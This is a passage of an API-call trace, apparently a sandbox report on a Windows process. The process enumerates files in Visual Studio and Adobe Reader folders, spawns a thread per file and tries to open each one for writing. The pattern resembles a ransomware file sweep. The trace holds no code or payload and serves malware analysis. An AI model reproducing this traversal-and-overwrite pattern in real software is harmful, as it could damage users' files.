_Dest=0x93d748, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.103] wcscat (in: _Dest=0x93d748, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.103] wcscat (in: _Dest=0x93d748, _Source="MDIParent.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" [0161.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1418 [0161.104] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource.zip", cAlternateFileName="")) returned 1 [0161.104] wcscmp (_String1="Resource.zip", _String2=".") returned 1 [0161.104] wcscmp (_String1="Resource.zip", _String2="..") returned 1 [0161.104] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd2) returned 0x93d828 [0161.104] wcscpy (in: _Dest=0x93d828, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.104] wcscat (in: _Dest=0x93d828, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.104] wcscat (in: _Dest=0x93d828, _Source="Resource.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" [0161.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0 [0161.106] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="RESOUR~1.ZIP")) returned 1 [0161.106] wcscmp (_String1="ResourceInternal.zip", _String2=".") returned 1 [0161.106] wcscmp (_String1="ResourceInternal.zip", _String2="..") returned 1 [0161.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bb968 [0161.106] wcscpy (in: _Dest=0xd4bb968, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.106] wcscat (in: _Dest=0xd4bb968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.106] wcscat (in: _Dest=0xd4bb968, _Source="ResourceInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" [0161.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bb968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b8 [0161.107] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.zip", cAlternateFileName="")) returned 1 [0161.107] wcscmp (_String1="Settings.zip", _String2=".") returned 1 [0161.107] wcscmp (_String1="Settings.zip", _String2="..") returned 1 [0161.107] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd2) returned 0x93d908 [0161.107] wcscpy (in: _Dest=0x93d908, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.107] wcscat (in: _Dest=0x93d908, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.107] wcscat (in: _Dest=0x93d908, _Source="Settings.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" [0161.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b4 [0161.108] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="SETTIN~1.ZIP")) returned 1 [0161.109] wcscmp (_String1="SettingsInternal.zip", _String2=".") returned 1 [0161.109] wcscmp (_String1="SettingsInternal.zip", _String2="..") returned 1 [0161.109] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bb878 [0161.109] wcscpy (in: _Dest=0xd4bb878, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.109] wcscat (in: _Dest=0xd4bb878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.109] wcscat (in: _Dest=0xd4bb878, _Source="SettingsInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" [0161.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bb878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0 [0161.110] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextFile.zip", cAlternateFileName="")) returned 1 [0161.110] wcscmp (_String1="TextFile.zip", _String2=".") returned 1 [0161.110] wcscmp (_String1="TextFile.zip", _String2="..") returned 1 [0161.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd2) returned 0x93d9e8 [0161.110] wcscpy (in: _Dest=0x93d9e8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.110] wcscat (in: _Dest=0x93d9e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.110] wcscat (in: _Dest=0x93d9e8, _Source="TextFile.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" [0161.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d9e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a8 [0161.111] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 1 [0161.111] wcscmp (_String1="UserControl.zip", _String2=".") returned 1 [0161.111] wcscmp (_String1="UserControl.zip", _String2="..") returned 1 [0161.111] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x93dac8 [0161.111] wcscpy (in: _Dest=0x93dac8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.111] wcscat (in: _Dest=0x93dac8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.111] wcscat (in: _Dest=0x93dac8, _Source="UserControl.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" [0161.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93dac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4 [0161.113] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizer.zip", cAlternateFileName="VISUAL~1.ZIP")) returned 1 [0161.113] wcscmp (_String1="Visualizer.zip", _String2=".") returned 1 [0161.113] wcscmp (_String1="Visualizer.zip", _String2="..") returned 1 [0161.113] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd6) returned 0x93dba8 [0161.113] wcscpy (in: _Dest=0x93dba8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.113] wcscat (in: _Dest=0x93dba8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.113] wcscat (in: _Dest=0x93dba8, _Source="Visualizer.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" [0161.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93dba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0 [0161.114] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 1 [0161.114] wcscmp (_String1="XmlFile.zip", _String2=".") returned 1 [0161.114] wcscmp (_String1="XmlFile.zip", _String2="..") returned 1 [0161.114] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd0) returned 0x8dd750 [0161.114] wcscpy (in: _Dest=0x8dd750, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.114] wcscat (in: _Dest=0x8dd750, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.114] wcscat (in: _Dest=0x8dd750, _Source="XmlFile.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" [0161.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dd750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x139c [0161.116] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 0 [0161.116] FindClose (in: hFindFile=0x8da010 | out: hFindFile=0x8da010) returned 1 [0161.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91def0) returned 1 [0161.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba368) returned 1 [0161.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7280) returned 1 Thread: id = 4570 os_tid = 0x1fe0 [0159.874] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf")) returned 0x20 [0159.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf", dwFileAttributes=0x20) returned 0 [0159.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.880] GetLastError () returned 0x5 [0159.880] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf", dwFileAttributes=0x20) returned 0 [0159.881] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad208) returned 1 Thread: id = 4571 os_tid = 0xa00 [0159.885] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf")) returned 0x20 [0159.886] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf", dwFileAttributes=0x20) returned 0 [0159.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.890] GetLastError () returned 0x5 [0159.890] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf", dwFileAttributes=0x20) returned 0 [0159.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7400) returned 1 Thread: id = 4572 os_tid = 0x1fe8 [0159.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf")) returned 0x20 [0159.898] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf", dwFileAttributes=0x20) returned 0 [0159.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.902] GetLastError () returned 0x5 [0159.902] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf", dwFileAttributes=0x20) returned 0 [0159.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934528) returned 1 Thread: id = 4573 os_tid = 0x1fec [0159.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c504a0 [0159.905] wcscpy (in: _Dest=0x12c504a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" [0159.905] wcscat (in: _Dest=0x12c504a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\" [0159.905] wcscat (in: _Dest=0x12c504a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*" [0159.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91e628 [0159.905] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da090 [0159.906] wcscmp (_String1=".", _String2=".") returned 0 [0159.906] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.906] wcscmp (_String1="..", _String2=".") returned 1 [0159.906] wcscmp (_String1="..", _String2="..") returned 0 [0159.906] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0159.906] wcscmp (_String1="SY______.PFM", _String2=".") returned 1 [0159.906] wcscmp (_String1="SY______.PFM", _String2="..") returned 1 [0159.906] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0xd4b7400 [0159.906] wcscpy (in: _Dest=0xd4b7400, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" [0159.906] wcscat (in: _Dest=0xd4b7400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\" [0159.906] wcscat (in: _Dest=0xd4b7400, _Source="SY______.PFM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" [0163.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8 [0163.164] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0163.164] wcscmp 